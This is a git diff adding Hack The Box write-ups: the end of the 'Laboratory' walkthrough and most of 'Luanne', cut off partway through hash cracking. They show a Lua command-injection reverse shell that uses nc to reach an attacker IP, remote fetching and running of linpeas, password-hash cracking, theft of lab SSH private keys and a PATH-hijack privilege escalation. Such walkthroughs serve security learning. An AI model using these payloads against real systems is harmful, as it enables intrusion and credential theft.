3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3 + [*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read + [*] Attempting to delete project /test/hPWfWdX6 + [*] Deleted project /test/hPWfWdX6 + [*] Attempting to delete project /test/fh8BzMaY + [*] Deleted project /test/fh8BzMaY + [*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.216:34148) at 2021-06-05 16:48:32 +0200 + + id + uid=998(git) gid=998(git) groups=998(git) + ls + ls -lash + total 8.0K + 4.0K drwx------ 2 git root 4.0K Jul 2 2020 . + 4.0K drwxr-xr-x 9 git root 4.0K Jun 5 05:52 .. + pwd + /var/opt/gitlab/gitlab-rails/working + + + +And there you go! We managed to get a reverse shell as the git user, now that we're here we see that we are inside the gitlab-rails/working directory, so let's run the **gitlab-rails console** command to get more information on the users: + + + git@git:~/gitlab-rails/working$ gitlab-rails console + gitlab-rails console + + -------------------------------------------------------------------------------- + GitLab: 12.8.1 (d18b43a5f5a) FOSS + GitLab Shell: 11.0.0 + PostgreSQL: 10.12 + -------------------------------------------------------------------------------- + Loading production environment (Rails 6.0.2) + Switch to inspect mode. + + +From here we type the following: + + + + **user = User.find(1)** + user = User.find(1) + #<****User id:1 @dexter> + +Let's change dexter's password: + + + **user.password = 'testtest'** + user.password = 'testtest' + "testtest" + + + +Then save it: + + + **user.save!** + user.save! + Enqueued ActionMailer::DeliveryJob (Job ID: 23a1f04b-e090-47e5-8e6f-8bc0a4f515e2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<****GlobalID:0x00007fb1bf9c1d78 @uri=# <****URI::GID gid://gitlab/User/1>> + true + +Now that's done let's login as the dexter user: + +![](prg/53_015.png) + +And we're logged in as the Dexter user! + +![](prg/53_016.png) + +Now let's take a look at his SecureDocker project: + +![](prg/53_017.png) + +And we found a private SSH key! let's use to to see if we can login via SSH: + + + [ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/Laboratory] + → cat id_rsa + -----BEGIN OPENSSH PRIVATE KEY----- + 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 + -----END OPENSSH PRIVATE KEY----- + + + [ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/Laboratory] + → chmod 600 id_rsa + + [ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/Laboratory] + → ssh dexter@laboratory.htb -i id_rsa + The authenticity of host 'laboratory.htb (10.10.10.216)' can't be established. + ECDSA key fingerprint is SHA256:XexmI3GbFIB7qyVRFDIYvKcLfMA9pcV9LeIgJO5KQaA. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'laboratory.htb,10.10.10.216' (ECDSA) to the list of known hosts. + dexter@laboratory:~$ id + uid=1000(dexter) gid=1000(dexter) groups=1000(dexter) + dexter@laboratory:~$ ls + user.txt + dexter@laboratory:~$ cat user.txt + 73XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to log onto the box as the dexter user and print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user, let's get linpeas.sh on the box: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Laboratory] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Laboratory] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term2] + + dexter@laboratory:~$ which wget curl + /usr/bin/wget + /usr/bin/curl + dexter@laboratory:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-05 15:08:55-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[======================================================================================================================================================>] 333.85K --.-KB/s in 0.1s + + 2021-06-05 15:08:55 (2.23 MB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + dexter@laboratory:~$ chmod +x /tmp/peas.sh + dexter@laboratory:~$ /tmp/peas.sh + + + +` ![](prg/53_018.png) + +Let it run, then scroll through the output, and you can see that there is a SUID binary in **/usr/local/bin/docker-security** : + +![](prg/53_019.png) + +So let's make use of it: + + + dexter@laboratory:~$ echo "/bin/bash" > chmod + dexter@laboratory:~$ chmod +x chmod + dexter@laboratory:~$ export PATH=$PWD:$PATH + dexter@laboratory:~$ echo $PATH + /home/dexter:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin + dexter@laboratory:~$ /usr/local/bin/docker-security + root@laboratory:~# id + uid=0(root) gid=0(root) groups=0(root),1000(dexter) + root@laboratory:~# cat /root/root.txt + 00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/53_graph.png) + diff --git a/Easy/54.md b/Easy/54.md new file mode 100644 index 0000000..4c40ec6 --- /dev/null +++ b/Easy/54.md @@ -0,0 +1,528 @@ +# Luanne Writeup + +![](img/54.png) + +## Introduction : + +Luanne is an Easy NetBSD box released back in November 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB] + → nmap -vvv -p- 10.10.10.218 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.218 + Discovered open port 22/tcp on 10.10.10.218 + Discovered open port 9001/tcp on 10.10.10.218 + + [ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB] + → nmap -sCV -p80,22,9001 10.10.10.218 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-06 08:52 CEST + Nmap scan report for 10.10.10.218 + Host is up (0.027s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) + | ssh-hostkey: + | 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA) + | 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA) + |_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519) + 80/tcp open http nginx 1.19.0 + | http-auth: + | HTTP/1.1 401 Unauthorized\x0D + |_ Basic realm=. + | http-robots.txt: 1 disallowed entry + |_/weather + |_http-server-header: nginx/1.19.0 + |_http-title: 401 Unauthorized + 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) + | http-auth: + | HTTP/1.1 401 Unauthorized\x0D + |_ Basic realm=default + |_http-server-header: Medusa/1.12 + |_http-title: Error response + Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 187.07 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/54_001.png) ![](prg/54_002.png) + +Here we don't have access yet, but we are hinted towards a certain local port 3000 that our nmap scan didn't pick up earlier. Now let's take a look at the Medusa service on port 9001: + +![](prg/54_003.png) + +Now on the medusa service, we also have some basic auth with a different 401 response page. Not much here either, so let's move back to the port 80, on http-robots.txt there was the **./weather** directory disallowed entry, so let's run gobuster on it: + + + [ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB] + → gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.218/weather/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2021/06/06 09:11:55 Starting gobuster in directory enumeration mode + =============================================================== + /forecast (Status: 200) [Size: 90] + + + +And here we get the **/weather/forecast/** page so let's investigate it: + +![](prg/54_004.png) + +Here we see that we should have specified a city, so let's send intercept request into burpsuite and test if there are any injections we can do: + +![](prg/54_005.png) ![](prg/54_006.png) + +Let's list the cities as advised: + +![](prg/54_007.png) ![](prg/54_008.png) + +So we are able to get the weather data of any city. But we don't know yet if the city input is sanitized, so let's try to escape it to cause an error: + +![](prg/54_009.png) + +And now we have more info! We managed to pickup the fact that this is a .lua file located in **/usr/local/webapi/weather.lua** , now let's try to poke at it further to see if we have any command execution, to do so we need to comment out the rest of the line using **\--** + +![](prg/54_010.png) + +Now from here let's try to inject other commands after the **;** + +![](prg/54_011.png) + +Now we have been able to inject another command! However let's go further and attempt to use system commands: + +![](prg/54_012.png) + +And that's it! We have access to system commands, so let's spawn a reverse shell with it now: + + + #our first RCE + GET /weather/forecast?city=London');print("\nnihilist777\n");os.execute("id")-- HTTP/1.1 + + #RCE with reverse shell payload + GET /weather/forecast?city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f")-- HTTP/1.1 + + #URL encoded reverse shell payload (just select it in burpsuite, and hit CTRL+U to URL-Encode) + GET /weather/forecast?city=London')%3bos.execute("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.13+9002+>/tmp/f")-- HTTP/1.1 + + #prepare to catch the reverse shell with nc: + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] + → nc -lvnp 9002 + listening on [any] 9002 ... + + + +` ![](prg/54_013.png) + +And we get a reverse shell connection! + + + [ 10.10.14.13/23 ] [ /dev/pts/27 ] [~/HTB/Luanne] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.218] 65436 + sh: can't access tty; job control turned off + + $ id + uid=24(_httpd) gid=24(_httpd) groups=24(_httpd) + + $ ls -lash + total 1.5K + 2.0K drwxr-xr-x 2 root wheel 512B Nov 25 2020 . + 2.0K drwxr-xr-x 24 root wheel 512B Nov 24 2020 .. + 2.0K -rw-r--r-- 1 root wheel 47B Sep 16 2020 .htpasswd + 2.0K -rw-r--r-- 1 root wheel 386B Sep 17 2020 index.html + 2.0K -rw-r--r-- 1 root wheel 78B Nov 25 2020 robots.txt + + +Running a simple ls shows us that there's a **.htpasswd** file, so let's get it: + + + $ cat .htpasswd + webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 + + + +Let's crack the hash using john locally: + + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → vim htpasswd.hash + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 + + Possible Hashs: + [+] MD5(Unix) + -------------------------------------------------- + HASH: ^C + + Bye! + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → cat htpasswd.hash + $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → john htpasswd.hash -w=/usr/share/wordlists/rockyou.txt + Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" + Use the "--format=md5crypt-long" option to force loading these as that type instead + Using default input encoding: UTF-8 + Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + **iamthebest (?)** + 1g 0:00:00:00 DONE (2021-06-06 10:40) 12.50g/s 38400p/s 38400c/s 38400C/s my3kids..ANTHONY + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + + +And there we go we managed to get the **webapi_user** password **iamthebest** so let's login: + +![](prg/54_014.png) ![](prg/54_015.png) + +Although that's too bad, the webapi_user isn't of much use yet. Back on our reverse shell, let's enumerate the box with linpeas.sh + + + $ wget -V + sh: wget: not found + $ curl -V + curl 7.71.0 (x86_64--netbsd) libcurl/7.71.0 OpenSSL/1.1.1d zlib/1.2.10 libidn2/2.3.0 nghttp2/1.41.0 + Release-Date: 2020-06-24 + Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp + Features: AsynchDNS GSS-API HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB SPNEGO SSL TLS-SRP UnixSockets + + + + +We're going to use curl to get **linpeas.sh** onto the box: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term2] + + $ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 333k 100 333k 0 0 856k 0 --:--:-- --:--:-- --:--:-- 853k + $ chmod +x /tmp/peas.sh + $ /tmp/peas.sh + + + +Also note how it cannot display the colored linpeas logo because we're not inside of bash: + +![](prg/54_016.png) + +As you scroll through the linpeas output you see the following hint that we need to privesc to the r.micahels user: + +![](prg/54_017.png) + + + $ ps auxw | grep http + _httpd 97 0.0 0.0 35256 2328 ? I 8:30AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/ + r.michaels 185 0.0 0.0 34996 1988 ? Is 6:50AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home + + +Since this is a localhost service running on port 3001, we're going to use curl from the box: + + + $ curl http://127.0.0.1:3001 + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 199 100 199 0 0 99500 0 --:--:-- --:--:-- --:--:-- 99500 + + + + # 401 Unauthorized + + + /: + + + No authorization + +* * * + +[127.0.0.1:3001](//127.0.0.1:3001/) + +Since we get a 401 Unauthorized error, let's pass the credentials we found earlier as arguements: + + + $ curl http://127.0.0.1:3001/ --user webapi_user:iamthebest + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 386 100 386 0 0 77200 0 --:--:-- --:--:-- --:--:-- 77200 + + + + + + + ### Weather Forecast API + + + + + #### List available cities: + + + [/weather/forecast?city=list](/weather/forecast?city=list) + + + #### Five day forecast (London) + + + [/weather/forecast?city=London](/weather/forecast?city=London) + + + * * * + + + + + + +And here we see that the credentials worked ! Now let's try to get the **r.michael** user's private SSH key: + + + $ curl http://127.0.0.1:3001/~r.michaels/id_rsa --user webapi_user:iamthebest + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k + -----BEGIN OPENSSH PRIVATE KEY----- + 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 + -----END OPENSSH PRIVATE KEY----- + + + +And there you go ! now let's login as the r.michaels user via ssh: + + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → vim id_rsa + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → file id_rsa + id_rsa: OpenSSH private key + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → chmod 600 id_rsa + + [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] + → ssh r.michaels@10.10.10.218 -i id_rsa + The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established. + ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts. + Last login: Fri Sep 18 07:06:51 2020 + NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 + + Welcome to NetBSD! + + luanne$ id + uid=1000(r.michaels) gid=100(users) groups=100(users) + luanne$ ls + backups devel public_html user.txt + luanne$ cat user.txt + eaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to login as the r.michaels user and print out the user flag. + +## **Part 3 : Getting Root Access** + +Now that's done, let's run linpeas again as the r.michaels user: + + + luanne$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 333k 100 333k 0 0 899k 0 --:--:-- --:--:-- --:--:-- 899k + luanne$ chmod +x /tmp/peas.sh + luanne$ /tmp/peas.sh + + + +Now as we scroll through the output, we see the following backup file: + +![](prg/54_019.png) + +Here we have doas, an alternative to the sudo command, scrolling further we see an encrypted backup file: + +![](prg/54_018.png) + +Since this is a NetBSD box, we can decrypt it with **netpgp** : + + + luanne$ ls + backups devel public_html user.txt + luanne$ cd backups/ + luanne$ ls -l + total 4 + -r-------- 1 r.michaels users 1970 Nov 24 2020 **devel_backup-2020-09-16.tar.gz.enc** + + luanne$ **netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/backup.tar.gz** + signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 + Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a + uid RSA 2048-bit key <****r.michaels@localhost> + + luanne$ cd /tmp + luanne$ tar -xvf backup.tar.gz + x devel-2020-09-16/ + x devel-2020-09-16/www/ + x devel-2020-09-16/webapi/ + x devel-2020-09-16/webapi/weather.lua + x devel-2020-09-16/www/index.md + x devel-2020-09-16/www/.htpasswd + luanne$ cat devel-2020-09-16/www/.htpasswd + webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. + +Once the backup is extracted, we see that we get another password hash for the webapi_user so let's crack it with john just like the previous one: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu + + Not Found. + -------------------------------------------------- + HASH: 